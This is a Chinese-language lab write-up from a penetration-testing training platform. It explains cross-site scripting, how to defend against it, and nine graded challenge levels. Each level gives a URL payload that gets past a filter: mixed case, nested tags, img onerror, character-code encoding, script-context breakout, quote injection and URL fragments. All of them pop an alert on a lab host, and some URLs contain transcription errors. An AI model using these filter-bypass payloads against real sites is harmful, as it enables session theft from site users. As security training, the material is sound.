XSS挑战
声明:以下内容均来自“实验吧”免费公益渗透平台,该平台至今仍旧在维护,估计~~,为此把以前保留的笔记拿来分享下。
[实验目的]
1) 理解XSS的含义
2) 了解XSS的形成原因
3) 通过URL传递参数构造XSS弹框
[实验原理]
1) XSS ( Cross Site Scripting )恶意攻击者往Web页面里插入恶意htm代码,当用户浏览该页之时,嵌入其中Web里面的htm代码会被执行,从而达到恶意用户的特殊目的。XSS攻击分成两
类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句;另一类则是来自外部的攻击 ,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页
一、XSS攻击原理
如图1所示。其中服务器中存在有XSS漏洞的网站,黑客利用其他用户的登录信息来进行攻击。
攻击者以某种方式发送带有XSS的http链接给用户(或者在该网站中已经被XSS攻击,形成特有漏洞页面)
当用户登陆了此网站,在登陆期间打开了黑客发送给用户的http连接(或者打开了网站存在XSS的漏洞页面)。用户产生Cookie信息并返回给浏览器,此时用户登录网站成功,网站执行了XSS脚本;
此时用户跳转到了其他页面,攻击者取得到了目标用户的信息;
攻击者可以利用拿到获取到的目标用户的cookies登陆网站,完成了XSS攻击。
二、 XSS攻击分类
XSS漏洞一般有两种类型攻击。
一类是来自内部的攻击,主要指的是利用WEB程序自身的漏洞,提交特殊的字符串,从而使得跨站页面直接存在于被攻击站点上,这个字符串被称为跨站语句。这一类攻击所利用的漏洞非常类似于SQL Injection漏洞,都是WEB程序没有对用户输入作充分的检查和过滤。
另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上 ,然后通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低。
[实验环境]
[实验步骤]
初级挑战
一、初级XSS攻击
1.1 使用浏览器打开 http://192.168.1.3:8080/xss1
1.2 打开example1进行第一关练习。
1.3 贴出关键代码。
1.4我们看到,在代码中没有做任何的过滤,我们直接输入xss代码
http://192. 168.1.3: 8080/xss1/xss/example2. php?name=<script>alert("xss")</script>。 弹出弹框。
1.5 打开example2,关键代码如下:
1.6过滤了小写的<script 与 </script> , 可以使用大小写绕过,我们尝试这样构造:
http://192. 168.1.3:8080/xss1/xss/example2. php?name=<scripT>alert("xss")</scripT>
1.7 我们打开第三关example3,我们看下第三关的代码:
1.8过滤了不区分大小写的<script> 与</script> . 可以使用嵌套的script标签绕过,我们尝试语句:|
http://192.168.1.3: 8080/xss1/xss/example3. php?name=<scr<script>ipt>alert("xss" )</scr</script>ipt>
二、XSS防御
2.1基于代码修改的防御
和SQL注入防御一样. XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免:
步骤1、对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、 POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
步骤2、实现Session标记 ( session tokens ). CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
步骤3、确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag (没有javascript ) , 去掉任何对远程内容的引用(尤其是样式表和javasript) , 使用HTTP only的cookie.
2.2基于特征的防御
XSS漏洞和著名的SQL注入漏洞一样.都是利用了Web页面的编写不完善.所以每一个漏洞所利用和针对的弱点都不尽相同。 这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS攻击。
传统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击.采用的模式匹配方法-般会需要对 "javascript" 这个关键字进行检索,一旦发现提交信息中包含"javascript" , 就可以认为存在XSS攻击。
中级挑战
一、中级XSS攻击
1.1 使用浏览器打开 http://192.168.1.3:8080/xss2
1.2 这一关主要是使用img srv 调用图片失败然后执行后面的动作,贴出关键代码:
1.3 从代码中我们可以看到,包含script字符串即报错,可以使用img标签绕过。在这里我们可以尝试两种不同的方法构造:
http://192.168.1.3: 080/xss2/xss/example4. php ?name=<img src=" " οnerrοr="alert('xss')">。
(注意:name=<img src=” “onerror+”alert(‘xss’)”>里的src=” ”里面要有空格 )
1.4 我们打开example5,这一关是通过转换来防止过滤,贴出主要代码:
1.5包含alert字符串即报错,我们可以使用编码方式绕过
http://192. 168.1.3: 080/xss2/xss/example5. php?name=<script>eval(String. fromCharCode(97,108,101,114,116,40,39,120,115 ,115,39,41))</script>
1.6 打开example6,这一关需要我们大胆尝试,小心求证,我们贴出代码:
1.7 1.7从代码我们可以得出直接在js环境中输出php变星,可以通过构造js脚本绕过.我们构造语句http://192.168.1.3:8080/xss2/xss/example6. php?name=</script><script>alert( 'xss')</script>
高级挑战
一、高级别的XSS
1.1 打开 http://192.168.1.3:8080/xss3/xss/example7.php,我们看下关键代码:
1.2 代码在js环境中输出通过htm|编码的php变量。htmlentities没有过滤单引号,我们使用单引号绕过。尝试构造语句如下:
http://192. 168.1. 3:8080/xs3/xss/example7. php?name=';alert('xss');'
1.3 我们打开第八关,这里是有一个输入用户名的地方,这里是迷惑的,当我们测试提交一个地址的时候源码会显示出来一个链接,链接就是你输入的链接,我们看看关键代码:
1.4 我们看到: post地址使用了当前url ,我们构造当前url地址达到xss目的,尝试构造代码如下:
http://192.168. 1.3:8080/xs3/xss/example8. php/[/url]"><script>alert( 'xss' )</script>"<
1.5 最后一关,我们依旧看下它的代码:
1.6 xss直接在页面输出锚点id .构建一个带xss的锚点即可 ,构造代码如下:
http://192.168.1.3:080/xss3/xss/example9. php#<script>alert( 'xss')</script> 刷新网页后。即可弹窗。